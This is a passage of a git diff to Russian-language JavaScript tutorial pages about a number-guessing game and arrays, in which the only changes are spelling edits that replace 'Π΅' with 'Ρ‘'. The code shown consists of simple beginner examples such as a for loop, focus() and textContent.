<p><strong><span id="result_box" lang="ru"><span>Π‘ этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Ρƒ вас Π΅ΡΡ‚ΡŒ </span></span><span id="result_box" lang="ru"><span>ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π°Ρ (простая) ΠΈΠ³Ρ€Π° - поздравляСм!</span></span></strong> <span lang="ru"><span> </span></span></p>
@@ -601,7 +601,7 @@ greeting;</pre>
<div class="_Ejb">
<div id="tw-target">
-<div class="tw-nfl tw-compact-ta-container" id="tw-target-text-container">Одна Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, - это Ρ†ΠΈΠΊΠ» for. Π¦ΠΈΠΊΠ»Ρ‹ - ΠΎΡ‡Π΅Π½ΡŒ ваТная концСпция программирования, которая позволяСт Π²Π°ΠΌ снова ΠΈ снова Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ кусок ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ условиС.</div>
+<div class="tw-nfl tw-compact-ta-container" id="tw-target-text-container">Одна Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, - это Ρ†ΠΈΠΊΠ» for. Π¦ΠΈΠΊΠ»Ρ‹ - ΠΎΡ‡Π΅Π½ΡŒ ваТная концСпция программирования, которая позволяСт Π²Π°ΠΌ снова ΠΈ снова Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ кусок ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ условиС.</div>
<div class="tw-nfl tw-compact-ta-container">Для Π½Π°Ρ‡Π°Π»Π° ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² панСль инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° JavaScript-консоли ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</div>
</div>
@@ -610,7 +610,7 @@ greeting;</pre>
<pre class="brush: js notranslate">for (var i = 1 ; i &lt; 21 ; i++) { console.log(i) }</pre>
<p><span lang="ru">Π§Ρ‚ΠΎ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ? НомСра с 1 ΠΏΠΎ 20 Π±Ρ‹Π»ΠΈ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π½Ρ‹ Π² консоли. Π­Ρ‚ΠΎ ΠΈΠ·-Π·Π° Ρ†ΠΈΠΊΠ»Π°. Π¦ΠΈΠΊΠ» for ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‚Ρ€ΠΈ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… значСния (Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹):</span><br>
- <span lang="ru">ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅: Π² этом случаС ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ подсчСт c 1, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ любоС число ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ нравится. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ i Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ нравится, Π½ΠΎ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ Π΅Π³ΠΎ ΠΊΠ°ΠΊ ΡƒΡΠ»ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ ΠΈ Π»Π΅Π³ΠΊΠΎ запоминаСтся. УсловиС Π²Ρ‹Ρ…ΠΎΠ΄Π°: Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ i &lt;21 - Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° i Π±ΡƒΠ΄Π΅Ρ‚Β ΠΌΠ΅Π½ΡŒΡˆΠ΅ 21. Когда i достигнСт 21, Ρ†ΠΈΠΊΠ» большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚: ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ i ++, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ i Π½Π° 1Β». Π¦ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ значСния i, ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ достигнСт значСния 21 (ΠΊΠ°ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅). Π’ этом случаС ΠΌΡ‹ просто ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ i Π² консоли Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref ("Console.log", "console.log ()")}}.</span></p>
+ <span lang="ru">ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅: Π² этом случаС ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ подсчёт c 1, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ любоС число ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ нравится. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ i Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ нравится, Π½ΠΎ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ Π΅Π³ΠΎ ΠΊΠ°ΠΊ ΡƒΡΠ»ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ ΠΈ Π»Π΅Π³ΠΊΠΎ запоминаСтся. УсловиС Π²Ρ‹Ρ…ΠΎΠ΄Π°: Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ i &lt;21 - Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° i Π±ΡƒΠ΄Π΅Ρ‚Β ΠΌΠ΅Π½ΡŒΡˆΠ΅ 21. Когда i достигнСт 21, Ρ†ΠΈΠΊΠ» большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚: ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ i ++, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ i Π½Π° 1Β». Π¦ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ значСния i, ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ достигнСт значСния 21 (ΠΊΠ°ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅). Π’ этом случаС ΠΌΡ‹ просто ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ i Π² консоли Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref ("Console.log", "console.log ()")}}.</span></p>
<p><span lang="ru">Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° Ρ†ΠΈΠΊΠ» Π² нашСй ΠΈΠ³Ρ€Π΅ угадывания чисСл - Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ resetGame () ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</span></p>
@@ -619,15 +619,15 @@ for (var i = 0 ; i &lt; resetParas.length ; i++) {
resetParas[i].textContent = '';
}</pre>
-<p><span lang="ru">Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ создаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ список всСх Π°Π±Π·Π°Ρ†Π΅Π² Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;div class = "resultParas"&gt;, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, удаляя тСкстовоС содСрТимоС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ….</span></p>
+<p><span lang="ru">Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ создаёт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ список всСх Π°Π±Π·Π°Ρ†Π΅Π² Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;div class = "resultParas"&gt;, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, удаляя тСкстовоС содСрТимоС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ….</span></p>
<h3 id="НСмного_ΠΎΠ±_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…_Objects">НСмного ΠΎΠ± ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… (Objects)</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΡŽ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ <code>var resetButton;</code> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части вашСго JavaScript, Π·Π°Ρ‚Π΅ΠΌ сохранитС Ρ„Π°ΠΉΠ»:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΡŽ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ <code>var resetButton;</code> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части вашСго JavaScript, Π·Π°Ρ‚Π΅ΠΌ сохранитС Ρ„Π°ΠΉΠ»:</p>
<pre class="brush: js notranslate">guessField.focus();</pre>
-<p>Π­Ρ‚Π° строка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("HTMLElement.focus", "focus()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ автоматичСски ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ тСкстовый курсор Π² тСкстовоС ΠΏΠΎΠ»Π΅ {{htmlelement("input")}}, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ загрузится страница.Β ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт сразу Π½Π°Π±Ρ€Π°Ρ‚ΡŒ свою ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π΄ΠΎΠ³Π°Π΄ΠΊΡƒ,Β Π½Π΅ наТимая ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ всСго лишь нСбольшоС Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π½ΠΎ ΠΎΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ удобство использования - Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ подсказку ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ Π² ΠΈΠ³Ρ€Π΅.</p>
+<p>Π­Ρ‚Π° строка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("HTMLElement.focus", "focus()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ автоматичСски ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ тСкстовый курсор Π² тСкстовоС ΠΏΠΎΠ»Π΅ {{htmlelement("input")}}, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ загрузится страница.Β ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смоТСт сразу Π½Π°Π±Ρ€Π°Ρ‚ΡŒ свою ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π΄ΠΎΠ³Π°Π΄ΠΊΡƒ,Β Π½Π΅ наТимая ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹. Π­Ρ‚ΠΎ всСго лишь нСбольшоС Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π½ΠΎ ΠΎΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ удобство использования - Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ подсказку ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ Π² ΠΈΠ³Ρ€Π΅.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ. Π’ JavaScript всС элСмСнты ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ.Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚ - это Π½Π°Π±ΠΎΡ€ связанных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, хранящихся Π² ΠΎΠ΄Π½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΠ΅<em>. </em>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ собствСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Π½ΠΎ это Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ мастСрства, ΠΈ ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ эту Ρ‚Π΅ΠΌΡƒ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… Π΄Π°Π½Π½ΠΎΠ³ΠΎ курса. Π‘ΡƒΠ΄Π΅Ρ‚ достаточно ΠΎΠ±ΡΡƒΠ΄ΠΈΡ‚ΡŒ встроСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ мноТСство ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ.</p>
@@ -653,11 +653,11 @@ for (var i = 0 ; i &lt; resetParas.length ; i++) {
<li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅Β <code>guessField</code> ΠΈ консоль ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ пСрСмСнная содСрТит элСмСнт {{htmlelement("input")}}. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈ заполняСт ΠΈΠΌΠ΅Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅ΠΉ срСды, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ваши ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅!</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
<pre class="brush: js notranslate">guessField.value = 'Hello';</pre>
- Бвойство <code>value</code> прСдставляСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π² тСкстовоС ΠΏΠΎΠ»Π΅. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ, ввСдя эту ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ, ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π΅Π³ΠΎ!</li>
+ Бвойство <code>value</code> прСдставляСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π² тСкстовоС ΠΏΠΎΠ»Π΅. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ, ввСдя эту ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ, ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π΅Π³ΠΎ!</li>
<li>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти <code>guesses</code> ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ return. Консоль ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ содСрТится элСмСнт {{htmlelement("p")}}.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти:
<pre class="brush: js notranslate">guesses.value</pre>
- Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Π΅Ρ€Π½Π΅Ρ‚ Π²Π°ΠΌΒ <code>undefined</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ <code>value</code>Β Π½Π΅ сущСствуСт Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ….</li>
+ Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π²Π°ΠΌΒ <code>undefined</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ <code>value</code>Β Π½Π΅ сущСствуСт Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ….</li>
<li>Для измСнСния тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°, Π²Π·Π°ΠΌΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство {{domxref("Node.textContent", "textContent")}}. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅:
<pre class="brush: js notranslate">guesses.textContent = 'Where is my paragraph?';</pre>
</li>
diff --git a/files/ru/learn/javascript/first_steps/arrays/index.html b/files/ru/learn/javascript/first_steps/arrays/index.html
index 040525b791..81745d52f6 100644
--- a/files/ru/learn/javascript/first_steps/arrays/index.html
+++ b/files/ru/learn/javascript/first_steps/arrays/index.html
@@ -17,7 +17,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Arrays
<div>{{PreviousMenuNext("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠΏΡ‹Ρ…_историй", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</div>
-<p class="summary">Π’ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ этого Ρ€Π°Π·Π΄Π΅Π»Π°, ΠΌΡ‹ познакомимся с массивами — Π»Π°ΠΊΠΎΠ½ΠΈΡ‡Π½Ρ‹ΠΌ способом хранСния списка элСмСнтов ΠΏΠΎΠ΄ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ. ΠœΡ‹ ΠΏΠΎΠΉΠΌΠ΅ΠΌ, Ρ‡Π΅ΠΌ ΠΎΠ½ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ ΠΈΒ 